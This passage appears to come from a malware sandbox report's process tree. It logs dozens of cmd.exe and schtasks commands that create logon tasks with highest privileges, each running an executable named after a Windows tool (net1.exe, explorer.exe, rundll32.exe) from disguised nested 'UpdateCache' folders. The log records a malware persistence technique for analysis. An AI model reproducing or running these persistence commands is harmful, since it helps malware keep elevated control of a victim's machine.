- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fc_8" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12148
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fc_8" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7764
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1592
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12984
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesRemote_10" /tr ""C:\Users\Admin\AppData\Local\Temp\2376855658\Logs\UpdateCache\SystemPropertiesRemote.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7936
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesRemote_10" /tr ""C:\Users\Admin\AppData\Local\Temp\2376855658\Logs\UpdateCache\SystemPropertiesRemote.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8884
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rundll32_11" /tr ""C:\Users\Admin\AppData\Roaming\BackupHide\Logs\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7592
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rundll32_11" /tr ""C:\Users\Admin\AppData\Roaming\BackupHide\Logs\UpdateCache\rundll32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6884
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wiaacmgr_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6228
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wiaacmgr_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6064
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_explorer_13" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\UpdateCache\explorer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6732
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_explorer_13" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\UpdateCache\explorer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12124
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7100
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11780
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xcopy_15" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4792
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xcopy_15" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:15100
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_subst_16" /tr ""C:\Users\Admin\AppData\Roaming\PushPublish\Logs\UpdateCache\subst.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13304
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_subst_16" /tr ""C:\Users\Admin\AppData\Roaming\PushPublish\Logs\UpdateCache\subst.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13152
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_efsui_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\efsui.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10008
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_efsui_17" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\efsui.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9852
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_18" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6580
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_18" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6248
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2996
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:9808
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_LaunchTM_20" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\LaunchTM.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13052
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_LaunchTM_20" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\LaunchTM.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4356
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_regedit_21" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishOptimize\Logs\UpdateCache\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10636
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_regedit_21" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishOptimize\Logs\UpdateCache\UpdateCache\regedit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7648
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wiaacmgr_22" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2376
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wiaacmgr_22" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\wiaacmgr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11176
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_23" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6440
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_23" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1112
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1216
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11528
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_comp_25" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\comp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5368
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_comp_25" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\UpdateCache\comp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9264
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_26" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4712
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_26" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10196
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tracerpt_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\tracerpt.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1884
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tracerpt_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\tracerpt.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3256
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_typeperf_28" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\typeperf.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7360
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_typeperf_28" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\typeperf.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10452
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5604
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8376
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_autochk_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\autochk.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6428
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_autochk_30" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\autochk.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:15032
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_AssertMerge_31" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\UpdateCache\AssertMerge.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13176
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_AssertMerge_31" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\UpdateCache\AssertMerge.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6172
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systeminfo_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\systeminfo.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:13132
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_systeminfo_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\systeminfo.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7892
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ctfmon_1" /tr ""C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6452
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ctfmon_1" /tr ""C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5380
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sort_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\sort.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12192
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sort_2" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\sort.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6532
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fc_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5532
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fc_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\UpdateCache\fc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6024
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12772
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6872
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_autochk_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\autochk.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12540
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_autochk_5" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\autochk.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10676
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RunLegacyCPLElevated_6" /tr ""C:\Users\Admin\AppData\Roaming\SuspendApprove\Logs\UpdateCache\UpdateCache\RunLegacyCPLElevated.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4752
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RunLegacyCPLElevated_6" /tr ""C:\Users\Admin\AppData\Roaming\SuspendApprove\Logs\UpdateCache\UpdateCache\RunLegacyCPLElevated.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8056
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_resmon_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\resmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6576
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_resmon_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\resmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8552
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ROUTE_8" /tr ""C:\ProgramData\MicrosoftService\ROUTE.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8636
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ROUTE_8" /tr ""C:\ProgramData\MicrosoftService\ROUTE.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3832
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7372
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13168
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_10" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1240
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_10" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8668
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_11" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5940
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_11" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14024
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_where_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\where.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8216
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_where_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\UpdateCache\where.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6316
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_explorer_13" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\explorer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7204
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_explorer_13" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\explorer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13068
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10072
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2780
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SystemPropertiesRemote_15" /tr ""C:\Users\Admin\AppData\Local\Temp\2376855658\Logs\UpdateCache\SystemPropertiesRemote.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:11092
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SystemPropertiesRemote_15" /tr ""C:\Users\Admin\AppData\Local\Temp\2376855658\Logs\UpdateCache\SystemPropertiesRemote.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5476
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_takeown_16" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\UpdateCache\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10140
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_takeown_16" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\UpdateCache\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8028
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WPDShextAutoplay_17" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9204
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WPDShextAutoplay_17" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:14464
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_18" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9172
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_18" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4568
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9584
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9696
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iscsicpl_20" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6008
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_iscsicpl_20" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\iscsicpl.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10540
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tzutil_21" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:12392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tzutil_21" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11216
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SpatialAudioLicenseSrv_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SpatialAudioLicenseSrv.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10296
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SpatialAudioLicenseSrv_22" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SpatialAudioLicenseSrv.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10572
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_verclsid_23" /tr ""C:\ProgramData\MicrosoftService\verclsid.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:10312
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_verclsid_23" /tr ""C:\ProgramData\MicrosoftService\verclsid.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:13352
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8296
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8680
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xcopy_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7252
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xcopy_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\UpdateCache\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12636
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ShowUnpublish_26" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\ShowUnpublish.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9904
- - C:\Windows\SysWOW64\schtasks.exe
